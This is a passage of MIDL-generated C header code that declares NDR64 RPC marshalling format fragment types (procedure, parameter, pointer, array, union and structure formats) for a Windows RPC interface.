\n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag829_t;\nextern const __midl_frag829_t __midl_frag829;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag821_t;\nextern const __midl_frag821_t __midl_frag821;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag819_t;\nextern const __midl_frag819_t __midl_frag819;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_RANGE_FORMAT frag2;\n    struct _NDR64_EXPR_VAR frag3;\n}\n__midl_frag818_t;\nextern const __midl_frag818_t __midl_frag818;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag817_t;\nextern const __midl_frag817_t __midl_frag817;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag816_t;\nextern const __midl_frag816_t __midl_frag816;\n\ntypedef \nstruct _NDR64_RANGE_FORMAT\n__midl_frag815_t;\nextern const __midl_frag815_t __midl_frag815;\n\ntypedef \nstruct _NDR64_CONFORMANT_STRING_FORMAT\n__midl_frag813_t;\nextern const __midl_frag813_t __midl_frag813;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag812_t;\nextern const __midl_frag812_t __midl_frag812;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag811_t;\nextern const __midl_frag811_t __midl_frag811;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag809_t;\nextern const __midl_frag809_t __midl_frag809;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag808_t;\nextern const __midl_frag808_t __midl_frag808;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n}\n__midl_frag807_t;\nextern const __midl_frag807_t __midl_frag807;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag799_t;\nextern const __midl_frag799_t __midl_frag799;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag792_t;\nextern const __midl_frag792_t __midl_frag792;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag789_t;\nextern const __midl_frag789_t __midl_frag789;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        NDR64_FORMAT_CHAR frag4;\n    } frag2;\n}\n__midl_frag787_t;\nextern const __midl_frag787_t __midl_frag787;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag785_t;\nextern const __midl_frag785_t __midl_frag785;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_REPEAT_FORMAT frag1;\n        struct \n        {\n            struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1;\n            struct _NDR64_POINTER_FORMAT frag2;\n        } frag2;\n        NDR64_FORMAT_CHAR frag3;\n    } frag2;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag3;\n}\n__midl_frag784_t;\nextern const __midl_frag784_t __midl_frag784;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag783_t;\nextern const __midl_frag783_t __midl_frag783;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag782_t;\nextern const __midl_frag782_t __midl_frag782;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag777_t;\nextern const __midl_frag777_t __midl_frag777;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n}\n__midl_frag771_t;\nextern const __midl_frag771_t __midl_frag771;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag768_t;\nextern const __midl_frag768_t __midl_frag768;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag765_t;\nextern const __midl_frag765_t __midl_frag765;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag762_t;\nextern const __midl_frag762_t __midl_frag762;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    struct _NDR64_UNION_ARM frag6;\n    NDR64_UINT32 frag7;\n}\n__midl_frag761_t;\nextern const __midl_frag761_t __midl_frag761;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag760_t;\nextern const __midl_frag760_t __midl_frag760;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag756_t;\nextern const __midl_frag756_t __midl_frag756;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag754_t;\nextern const __midl_frag754_t __midl_frag754;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag746_t;\nextern const __midl_frag746_t __midl_frag746;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag744_t;\nextern const __midl_frag744_t __midl_frag744;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag743_t;\nextern const __midl_frag743_t __midl_frag743;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag741_t;\nextern const __midl_frag741_t __midl_frag741;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag740_t;\nextern const __midl_frag740_t __midl_frag740;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag739_t;\nextern const __midl_frag739_t __midl_frag739;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag738_t;\nextern const __midl_frag738_t __midl_frag738;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag737_t;\nextern const __midl_frag737_t __midl_frag737;\n\ntypedef \nstruct _NDR64_CONFORMANT_STRING_FORMAT\n__midl_frag736_t;\nextern const __midl_frag736_t __midl_frag736;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag735_t;\nextern const __midl_frag735_t __midl_frag735;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag733_t;\nextern const __midl_frag733_t __midl_frag733;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag730_t;\nextern const __midl_frag730_t __midl_frag730;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag728_t;\nextern const __midl_frag728_t __midl_frag728;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag727_t;\nextern const __midl_frag727_t __midl_frag727;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n}\n__midl_frag726_t;\nextern const __midl_frag726_t __midl_frag726;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag724_t;\nextern const __midl_frag724_t __midl_frag724;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag723_t;\nextern const __midl_frag723_t __midl_frag723;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag717_t;\nextern const __midl_frag717_t __midl_frag717;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag714_t;\nextern const __midl_frag714_t __midl_frag714;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag710_t;\nextern const __midl_frag710_t __midl_frag710;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag707_t;\nextern const __midl_frag707_t __midl_frag707;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag697_t;\nextern const __midl_frag697_t __midl_frag697;\n\ntypedef \nstruct _NDR64_RANGE_FORMAT\n__midl_frag693_t;\nextern const __midl_frag693_t __midl_frag693;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_RANGE_FORMAT frag2;\n    struct _NDR64_EXPR_VAR frag3;\n}\n__midl_frag691_t;\nextern const __midl_frag691_t __midl_frag691;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag690_t;\nextern const __midl_frag690_t __midl_frag690;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag689_t;\nextern const __midl_frag689_t __midl_frag689;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag684_t;\nextern const __midl_frag684_t __midl_frag684;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag676_t;\nextern const __midl_frag676_t __midl_frag676;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag662_t;\nextern const __midl_frag662_t __midl_frag662;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag658_t;\nextern const __midl_frag658_t __midl_frag658;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag656_t;\nextern const __midl_frag656_t __midl_frag656;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag655_t;\nextern const __midl_frag655_t __midl_frag655;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n}\n__midl_frag650_t;\nextern const __midl_frag650_t __midl_frag650;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag646_t;\nextern const __midl_frag646_t __midl_frag646;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag641_t;\nextern const __midl_frag641_t __midl_frag641;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n}\n__midl_frag640_t;\nextern const __midl_frag640_t __midl_frag640;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag638_t;\nextern const __midl_frag638_t __midl_frag638;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag637_t;\nextern const __midl_frag637_t __midl_frag637;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag636_t;\nextern const __midl_frag636_t __midl_frag636;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag633_t;\nextern const __midl_frag633_t __midl_frag633;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag631_t;\nextern const __midl_frag631_t __midl_frag631;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag627_t;\nextern const __midl_frag627_t __midl_frag627;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag624_t;\nextern const __midl_frag624_t __midl_frag624;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag620_t;\nextern const __midl_frag620_t __midl_frag620;\n\ntypedef \nstruct \n{\n    struct _NDR64_FIX_ARRAY_HEADER_FORMAT frag1;\n}\n__midl_frag619_t;\nextern const __midl_frag619_t __midl_frag619;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n    struct _NDR64_POINTER_FORMAT frag4;\n}\n__midl_frag618_t;\nextern const __midl_frag618_t __midl_frag618;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag614_t;\nextern const __midl_frag614_t __midl_frag614;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag613_t;\nextern const __midl_frag613_t __midl_frag613;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_MEMPAD_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag11;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag12;\n    } frag2;\n}\n__midl_frag611_t;\nextern const __midl_frag611_t __midl_frag611;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag610_t;\nextern const __midl_frag610_t __midl_frag610;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT frag1;\n}\n__midl_frag609_t;\nextern const __midl_frag609_t __midl_frag609;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag608_t;\nextern const __midl_frag608_t __midl_frag608;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag607_t;\nextern const __midl_frag607_t __midl_frag607;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag606_t;\nextern const __midl_frag606_t __midl_frag606;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_MEMPAD_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_MEMPAD_FORMAT frag10;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag11;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag12;\n    } frag2;\n}\n__midl_frag598_t;\nextern const __midl_frag598_t __midl_frag598;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT frag1;\n}\n__midl_frag596_t;\nextern const __midl_frag596_t __midl_frag596;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag595_t;\nextern const __midl_frag595_t __midl_frag595;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag594_t;\nextern const __midl_frag594_t __midl_frag594;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag593_t;\nextern const __midl_frag593_t __midl_frag593;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_MEMPAD_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n    } frag2;\n}\n__midl_frag585_t;\nextern const __midl_frag585_t __midl_frag585;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT frag1;\n}\n__midl_frag583_t;\nextern const __midl_frag583_t __midl_frag583;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag582_t;\nextern const __midl_frag582_t __midl_frag582;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag581_t;\nextern const __midl_frag581_t __midl_frag581;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag580_t;\nextern const __midl_frag580_t __midl_frag580;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT frag1;\n}\n__midl_frag578_t;\nextern const __midl_frag578_t __midl_frag578;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag577_t;\nextern const __midl_frag577_t __midl_frag577;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag576_t;\nextern const __midl_frag576_t __midl_frag576;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    struct _NDR64_UNION_ARM frag6;\n    NDR64_UINT32 frag7;\n}\n__midl_frag574_t;\nextern const __midl_frag574_t __midl_frag574;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag573_t;\nextern const __midl_frag573_t __midl_frag573;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag572_t;\nextern const __midl_frag572_t __midl_frag572;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag569_t;\nextern const __midl_frag569_t __midl_frag569;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n}\n__midl_frag567_t;\nextern const __midl_frag567_t __midl_frag567;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_MEMPAD_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n    } frag2;\n}\n__midl_frag561_t;\nextern const __midl_frag561_t __midl_frag561;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag554_t;\nextern const __midl_frag554_t __midl_frag554;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag553_t;\nextern const __midl_frag553_t __midl_frag553;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag552_t;\nextern const __midl_frag552_t __midl_frag552;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct 